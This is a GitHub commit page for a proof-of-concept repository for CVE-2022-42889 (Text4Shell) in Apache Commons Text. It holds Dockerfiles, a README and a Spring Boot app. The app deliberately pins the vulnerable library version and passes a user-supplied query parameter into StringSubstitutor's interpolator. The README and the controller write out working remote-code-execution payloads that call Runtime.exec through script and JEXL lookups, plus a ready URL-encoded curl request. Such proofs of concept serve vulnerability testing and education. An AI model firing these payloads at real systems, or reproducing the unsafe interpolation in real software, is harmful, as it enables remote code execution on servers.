Skip to content

Commit 947a568

Browse files
committed
initial commit
0 parents  commit 947a568

File tree

10 files changed

+283
-0
lines changed

10 files changed

+283
-0
lines changed

Dockerfile

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
FROM openjdk:11-jdk-slim
2+
3+
RUN apt update && apt install maven python netcat wget curl -y
4+
5+
WORKDIR /opt/text4shell-poc
6+
7+
# Compile
8+
COPY pom.xml ./
9+
COPY src/ ./src/
10+
11+
RUN mvn clean package -DskipTests
12+
13+
EXPOSE 8080
14+
CMD ["java", "-jar", "target/spring-boot-0.0.1-SNAPSHOT.jar"]

Dockerfile.Java11

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
FROM openjdk:11-jdk-slim
2+
3+
RUN apt update && apt install maven python netcat wget curl -y
4+
5+
WORKDIR /opt/text4shell-poc
6+
7+
RUN mkdir target
8+
9+
COPY target/spring-boot-0.0.1-SNAPSHOT.jar target/
10+
11+
EXPOSE 8080
12+
CMD ["java", "-jar", "target/spring-boot-0.0.1-SNAPSHOT.jar"]

Dockerfile.Java19

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
FROM openjdk:19-jdk-slim
2+
3+
RUN apt update && apt install maven python netcat wget curl -y
4+
5+
WORKDIR /opt/text4shell-poc
6+
7+
RUN mkdir target
8+
9+
COPY target/spring-boot-0.0.1-SNAPSHOT.jar target/
10+
11+
EXPOSE 8080
12+
CMD ["java", "-jar", "target/spring-boot-0.0.1-SNAPSHOT.jar"]

README.md

+112
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
# CVE-2022-42889 aka text4shell
2+
3+
PoC for recently discovered vulnerability in Apache Commons Text by @pwntester (https://github.com/pwntester): https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
4+
5+
As mentioned in https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:
6+
>The vulnerability exists in the StringSubstitutor interpolator object. An interpolator is created by the StringSubstitutor.createInterpolator() method and will allow for string lookups as defined in the StringLookupFactory. This can be used by passing a string “${prefix:name}” where the prefix is the aforementioned lookup. Using the “script”, “dns”, or “url” lookups would allow a crafted string to execute arbitrary scripts when passed to the interpolator object.
7+
8+
# Affected versions
9+
The affected Apache Commons Text versions are 1.5 through 1.9.
10+
It has been patched in version 1.10.
11+
12+
# Conditions to be exploited
13+
- Run a version of Apache Commons Text from version 1.5 to 1.9
14+
- Use the StringSubstitutor interpolator class (https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
15+
16+
To be remotely exploited, attacker controlled input must be used as input for the StringSubstitutor interpolation. In particular, in StringSubstitutor.replace() or StringSubstitutor.replaceIn() methods
17+
18+
# Other javascript script engines
19+
Since JDK 15 the Nashorn JavaScript Engine was removed: https://openjdk.org/jeps/372.
20+
But if third parties dependencies are included such as JEXL, RCE in Apache Commnos Text could happen (https://twitter.com/pwntester/status/1582321752566161409)
21+
22+
# Exploitation
23+
## script interpolator
24+
It can be exploited to gain RCE.
25+
26+
### JDK < 15
27+
```
28+
{java:version} ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
29+
```
30+
### JDK 15+
31+
If using third party JEXL:
32+
```
33+
{java:version} ${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
34+
```
35+
36+
## dns interpolator
37+
It can lead to a DNS lookup:
38+
39+
```
40+
${dns:address|commons.apache.org}
41+
```
42+
43+
## url interpolator
44+
It connects to the specified URL and tries to fetch the content:
45+
46+
```
47+
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889
48+
```
49+
50+
Template based on https://start.spring.io/
51+
52+
# Manual compilation of PoC
53+
```
54+
mvn clean package -DskipTests
55+
java -jar spring-boot-0.0.1-SNAPSHOT.jar
56+
```
57+
58+
# Running app in Docker
59+
60+
## Using JVM 11
61+
```
62+
sudo docker build -t text4shell . -f Dockerfile.Java11
63+
sudo docker run -p 8080:8080 text4shell
64+
```
65+
66+
## Using JVM 19
67+
```
68+
sudo docker build -t text4shell . -f Dockerfile.Java19
69+
sudo docker run -p 8080:8080 text4shell
70+
```
71+
72+
# Provided POCs
73+
74+
There are different endpoints provided to test for the different attack vectors mentioned.
75+
76+
## /poc1
77+
```
78+
curl http://localhost:8080/poc1
79+
```
80+
81+
## /poc2
82+
```
83+
curl http://localhost:8080/poc2
84+
```
85+
86+
## /poc3
87+
```
88+
curl http://localhost:8080/poc3
89+
```
90+
91+
## /message?text=
92+
```
93+
curl http://localhost:8080/message
94+
curl http://localhost:8080/message?text=1
95+
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D
96+
```
97+
98+
# References
99+
https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
100+
https://sysdig.com/blog/cve-2022-42889-text4shell/
101+
https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
102+
https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
103+
https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
104+
https://twitter.com/pwntester/status/1583189642471706624
105+
https://twitter.com/pyn3rd/status/1582729285005037568
106+
107+
# Credits to other PoCs
108+
https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
109+
https://github.com/korteke/CVE-2022-42889-POC
110+
https://github.com/karthikuj/cve-2022-42889-text4shell-docker
111+
https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
112+
https://github.com/kljunowsky/CVE-2022-42889-text4shell

pom.xml

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
4+
<modelVersion>4.0.0</modelVersion>
5+
<parent>
6+
<groupId>org.springframework.boot</groupId>
7+
<artifactId>spring-boot-starter-parent</artifactId>
8+
<version>2.7.5</version>
9+
<relativePath/> <!-- lookup parent from repository -->
10+
</parent>
11+
<groupId>com.example</groupId>
12+
<artifactId>spring-boot</artifactId>
13+
<version>0.0.1-SNAPSHOT</version>
14+
<name>spring-boot</name>
15+
<description>Demo project for Spring Boot</description>
16+
<properties>
17+
<java.version>11</java.version>
18+
</properties>
19+
<dependencies>
20+
<dependency>
21+
<groupId>org.springframework.boot</groupId>
22+
<artifactId>spring-boot-starter-web</artifactId>
23+
</dependency>
24+
25+
<dependency>
26+
<groupId>org.springframework.boot</groupId>
27+
<artifactId>spring-boot-starter-test</artifactId>
28+
<scope>test</scope>
29+
</dependency>
30+
31+
<!-- Apache Commons Text dependency version vulnerable to Text4Shell (CVE-2022-42889) -->
32+
<dependency>
33+
<groupId>org.apache.commons</groupId>
34+
<artifactId>commons-text</artifactId>
35+
<version>1.9</version>
36+
</dependency>
37+
38+
<!-- Added to test for JEXL scripting in JDK > 15 -->
39+
<dependency>
40+
<groupId>org.apache.commons</groupId>
41+
<artifactId>commons-jexl3</artifactId>
42+
<version>3.2.1</version>
43+
</dependency>
44+
</dependencies>
45+
46+
<build>
47+
<plugins>
48+
<plugin>
49+
<groupId>org.springframework.boot</groupId>
50+
<artifactId>spring-boot-maven-plugin</artifactId>
51+
</plugin>
52+
</plugins>
53+
</build>
54+
55+
</project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
package com.example.springboot;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
6+
@SpringBootApplication
7+
public class Application {
8+
public static void main(String[] args) {
9+
SpringApplication.run(Application.class, args);
10+
}
11+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
package com.example.springboot;
2+
3+
import org.apache.commons.text.StringSubstitutor;
4+
import org.springframework.web.bind.annotation.GetMapping;
5+
import org.springframework.web.bind.annotation.RequestParam;
6+
import org.springframework.web.bind.annotation.RestController;
7+
8+
@RestController
9+
public class TextController {
10+
@GetMapping("/poc1")
11+
public String pocScript() {
12+
String script;
13+
if (getRunningJVMVersion() < 15) {
14+
script = "${java:version} - ${script:javascript:7*7} - ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}";
15+
} else {
16+
script = "${java:version} - ${script:javascript:7*7} - ${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}";
17+
}
18+
return interpolate(script);
19+
}
20+
21+
@GetMapping("/poc2")
22+
public String pocDNS() {
23+
String dns = "${java:version} - ${dns:address|commons.apache.org}";
24+
return interpolate(dns);
25+
}
26+
27+
@GetMapping("/poc3")
28+
public String pocURL() {
29+
String dns = "${java:version} - ${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}";
30+
return interpolate(dns);
31+
}
32+
33+
@GetMapping("/message")
34+
public String handleScript(@RequestParam(defaultValue = "You are running java.version ${java.version} and os.name = ${os.name}") String text) {
35+
return interpolate(text);
36+
}
37+
38+
private int getRunningJVMVersion() {
39+
System.out.println("Current JVM version - " + System.getProperty("java.version"));
40+
41+
String[] versionElements = System.getProperty("java.version").split("\\.");
42+
int discard = Integer.parseInt(versionElements[0]);
43+
int version = (discard == 1) ? Integer.parseInt(versionElements[1]) : discard;
44+
return version;
45+
}
46+
47+
private String interpolate(String input) {
48+
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
49+
String out = interpolator.replace(input);
50+
System.out.println(out);
51+
return out;
52+
}
53+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
package com.example.springboot;
2+
3+
import org.junit.jupiter.api.Test;
4+
import org.springframework.boot.test.context.SpringBootTest;
5+
6+
@SpringBootTest
7+
class ApplicationTests {
8+
9+
@Test
10+
void contextLoads() {
11+
}
12+
13+
}

target/spring-boot-0.0.1-SNAPSHOT.jar

18.1 MB
Binary file not shown.

0 commit comments

Comments
 (0)